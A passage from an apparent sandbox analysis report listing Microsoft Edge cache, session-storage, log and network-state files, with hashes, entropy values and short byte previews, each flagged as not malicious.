SHA-256:	3347BD6F1F18A9321FFB94F99A7E55971DBE388C7051410C3DBA37566EB21418
SHA-512:	4F0500B1BE6BC1C299B5769514A8EF759690AC9AD198F2FB14FBB5C2F99204B1FE387B9551F8D0CA71E8779349FFC7DE2BACACE3CD08F4EFE6CDFA05C8E1DC8A
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc.x.1....exports...Rc........module....RcJ..L....define....Rbj......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.j...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:NUi0Xl/lR/lxEwlt2dOGd:GtCQUdOGd
MD5:	89443A7754DBDF353A56B56296B3FA26
SHA1:	5C28548F0B2B54FF367250147303365E60C68026
SHA-256:	6D838CE14EF6C149D7D6427FDFB096811141D02FE6A141FC4E22030BE4E43FB0
SHA-512:	7447DF36700E7C80E3DB6A280A3BBBD19139D88758F2E5F3EC5ED63F2CB5F2F197A40F81965ED03833D71039DE625D3F27302AABA57F7CC8A0DAA351125A27E5
Malicious:	false
Preview:	@.....#.oy retne.........................X....,.................8.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:NUi0Xl/lR/lxEwlt2dOGd:GtCQUdOGd
MD5:	89443A7754DBDF353A56B56296B3FA26
SHA1:	5C28548F0B2B54FF367250147303365E60C68026
SHA-256:	6D838CE14EF6C149D7D6427FDFB096811141D02FE6A141FC4E22030BE4E43FB0
SHA-512:	7447DF36700E7C80E3DB6A280A3BBBD19139D88758F2E5F3EC5ED63F2CB5F2F197A40F81965ED03833D71039DE625D3F27302AABA57F7CC8A0DAA351125A27E5
Malicious:	false
Preview:	@.....#.oy retne.........................X....,.................8.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2cd77.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:NUi0Xl/lR/lxEwlt2dOGd:GtCQUdOGd
MD5:	89443A7754DBDF353A56B56296B3FA26
SHA1:	5C28548F0B2B54FF367250147303365E60C68026
SHA-256:	6D838CE14EF6C149D7D6427FDFB096811141D02FE6A141FC4E22030BE4E43FB0
SHA-512:	7447DF36700E7C80E3DB6A280A3BBBD19139D88758F2E5F3EC5ED63F2CB5F2F197A40F81965ED03833D71039DE625D3F27302AABA57F7CC8A0DAA351125A27E5
Malicious:	false
Preview:	@.....#.oy retne.........................X....,.................8.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5891
Entropy (8bit):	3.399453389975866
Encrypted:	false
SSDEEP:	96:ipafvDYYfB3aS83d2ij62hXmAp3Z/J9X3+pi+VibokGf5SLl9iSr/1OyQIqF:LYYs2imMXTx9X3+IKibDQ5SLl9iSr/AP
MD5:	E435E0E515DF34E85C6C02B0C5A0AFA9
SHA1:	D8EFD31925D5B9C9DEDE74A265EE2297FBEED618
SHA-256:	EEAE65719F231F2BF79EA860A8ED5B7AC15E811FFCAE882277F45A65337B2527
SHA-512:	53F2600FCB169C20F4A22778D754AA4CD2ACE8E53056633278A7E76565131082EB4D9E19938AECC5544B84CF92BCD5DF5D431E9535F6ADB7228BCB8B921396D0
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............-..xb................next-map-id.1.Cnamespace-31c011dd_a6fa_4b6a_813e_95de87940927-https://ntp.msn.com/.0...D.................map-0-shd_sweeper.+{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.a.d.s.-.f.l.r.m.g.p.-.b.a.s.e.-.c.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.-.g.o.l.d.e.n.-.1.c.2.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.v.4.t.r.e.t.b.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.d.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.t.,.p.r.g.-.1.s.w.-.l.d.n.y.-.t.r.a.n.s.i.t.,.1.s.-.n.t.f.1.-.r.d.i.d.3.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.157367893949013
Encrypted:	false
SSDEEP:	6:HUOuQ+q2PcNwi23oH+TcwtrQMxIFUt8YUOsgZmw+YUORZQVkwOcNwi23oH+Tcwtf:mvLZYebCFUt8K/+h54ZYebtJ
MD5:	20E057187375C0771858D044797E1D95
SHA1:	411F10A564A4E9F9EF7DF6B2954D1F7D9E1DED6D
SHA-256:	1014E86770DDA7B0577D56EBB98564965159461E1A8A5BB4C219DBFD2262811F
SHA-512:	B3F1BA23A32628866DDBBAB8337005643AB89E9455F2EE067D3FF7E53F66D4E33203177101F9C960F48974056D7E5AE105CFA169573F4EC16131BEBBD7B63D58
Malicious:	false
Preview:	2024/11/18-04:25:52.025 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-04:25:52.096 1d08 Recovering log #3.2024/11/18-04:25:52.099 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.157367893949013
Encrypted:	false
SSDEEP:	6:HUOuQ+q2PcNwi23oH+TcwtrQMxIFUt8YUOsgZmw+YUORZQVkwOcNwi23oH+Tcwtf:mvLZYebCFUt8K/+h54ZYebtJ
MD5:	20E057187375C0771858D044797E1D95
SHA1:	411F10A564A4E9F9EF7DF6B2954D1F7D9E1DED6D
SHA-256:	1014E86770DDA7B0577D56EBB98564965159461E1A8A5BB4C219DBFD2262811F
SHA-512:	B3F1BA23A32628866DDBBAB8337005643AB89E9455F2EE067D3FF7E53F66D4E33203177101F9C960F48974056D7E5AE105CFA169573F4EC16131BEBBD7B63D58
Malicious:	false
Preview:	2024/11/18-04:25:52.025 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-04:25:52.096 1d08 Recovering log #3.2024/11/18-04:25:52.099 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376395553260398

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8176424431145413
Encrypted:	false
SSDEEP:	24:3XswWWpsAF4unxa9tLp3X2amEtG1ChqOB6HyEr4KQKkOAM4l8u:37dzFKXLp2FEkChVyXqHOp3
MD5:	47B3F734D129CF4A82072710AA61D685
SHA1:	03EC8CE73BD94651BEF18B26B9FB47CA10422B10
SHA-256:	6E00E590AFA55C457569F236ED76F0E091992AA1C4E9CFAAE646183E4462887E
SHA-512:	8B97D4E1A8C0325CBDF65D76C2C53C2DE04312425FD225D56515BFD97BC64789290EFAB3F986AC0062D5EB1BDFB83F3D79B81D75729C75F6CE9CCEC4A652C39C
Malicious:	false
Preview:	SNSS.........._.............._......"..._.............._.........._.........._.........._....!....._.................................._..._1..,......_$...31c011dd_a6fa_4b6a_813e_95de87940927......_.........._.................._......_.........................._....................5..0......_&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}........_.........._............................._.............._........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x......._..,'..`..,'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.157923122420228
Encrypted:	false
SSDEEP:	6:HUOGMIq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUOGMZZmw+YUOHkwOcNwi23oH+TcwK:svLZYebIhHh2FUt8e/+e54ZYebIhHLJ
MD5:	B9F5B1981D57342B079D0C3348C7EE18
SHA1:	215DC6C3F9047F4EF5CABF7D4100A9A7F4AFFDEB
SHA-256:	4ACA65782F788B8210F0E5D3142E1FF2FA284CE8A7E79731420EEB5256EBD038
SHA-512:	C9EDED7295E824B92ECBB8081033170C8344181BEE136FAF42CFC738CA00832DA21A53FBB8CEA5054C22C0BE0487C1EF9EF97C194FE3C98C35DA057204FFA533
Malicious:	false
Preview:	2024/11/18-04:25:50.859 1300 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-04:25:50.859 1300 Recovering log #3.2024/11/18-04:25:50.860 1300 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.157923122420228
Encrypted:	false
SSDEEP:	6:HUOGMIq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUOGMZZmw+YUOHkwOcNwi23oH+TcwK:svLZYebIhHh2FUt8e/+e54ZYebIhHLJ
MD5:	B9F5B1981D57342B079D0C3348C7EE18
SHA1:	215DC6C3F9047F4EF5CABF7D4100A9A7F4AFFDEB
SHA-256:	4ACA65782F788B8210F0E5D3142E1FF2FA284CE8A7E79731420EEB5256EBD038
SHA-512:	C9EDED7295E824B92ECBB8081033170C8344181BEE136FAF42CFC738CA00832DA21A53FBB8CEA5054C22C0BE0487C1EF9EF97C194FE3C98C35DA057204FFA533
Malicious:	false
Preview:	2024/11/18-04:25:50.859 1300 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-04:25:50.859 1300 Recovering log #3.2024/11/18-04:25:50.860 1300 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlg9ge:/M/xT02zX9ge
MD5:	0899E8899FBD2D6B6CEDB6139E1AAF88
SHA1:	1B128261CABD52E2098C89FEA7151E3552FEB5EA
SHA-256:	893AA1E9FE8EAA6A0C05B4898B315BEDA49104D59F90C35962A6DA2031C65E8F
SHA-512:	950B40C57B8C8FF33441D8F1806F89B211B02C715105CE9903269F02F1532F32682966FE23E60800BC6953765CE0504779134886AA2A99A97B4F6F4CECCC92FC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.228757506907677
Encrypted:	false
SSDEEP:	12:OwyvLZYebvqBQFUt8p/+D/R54ZYebvqBvJ:OwYlYebvZg8qDoYebvk
MD5:	D47D55E5CA6402D41A8033B3EABCA424
SHA1:	256D0B1982B132CE691E3F03C2062EFF8A696685
SHA-256:	0F028AA134677F25D9476795EF42BDCC3828CA38B18C134F82FD35457ECAF3B9
SHA-512:	429EB097CC5F2F1EBDD0BC375DE5CB504EDED00BB7C8358825431618D4CA0D0D71D643B5DC5FA9457A47AA2F1D7CE51D5DFC448C980CFFCE612062E93F16C7F4
Malicious:	false
Preview:	2024/11/18-04:25:52.088 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-04:25:52.096 1d18 Recovering log #3.2024/11/18-04:25:52.102 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.228757506907677
Encrypted:	false
SSDEEP:	12:OwyvLZYebvqBQFUt8p/+D/R54ZYebvqBvJ:OwYlYebvZg8qDoYebvk
MD5:	D47D55E5CA6402D41A8033B3EABCA424
SHA1:	256D0B1982B132CE691E3F03C2062EFF8A696685
SHA-256:	0F028AA134677F25D9476795EF42BDCC3828CA38B18C134F82FD35457ECAF3B9
SHA-512:	429EB097CC5F2F1EBDD0BC375DE5CB504EDED00BB7C8358825431618D4CA0D0D71D643B5DC5FA9457A47AA2F1D7CE51D5DFC448C980CFFCE612062E93F16C7F4
Malicious:	false
Preview:	2024/11/18-04:25:52.088 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-04:25:52.096 1d18 Recovering log #3.2024/11/18-04:25:52.102 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4c066c85-0b64-4f79-85d5-04bbf6b0a59f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7ee9ccff-fa0b-4ffe-a60f-05f749e2780c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8386baf5-acd2-4303-915c-3e48be6c9015.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\94f2277a-5464-4cdc-a668-76b00c0393ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9a93f262-d306-4423-81fd-3e452aff4321.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF2d382.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF275e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27d35.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
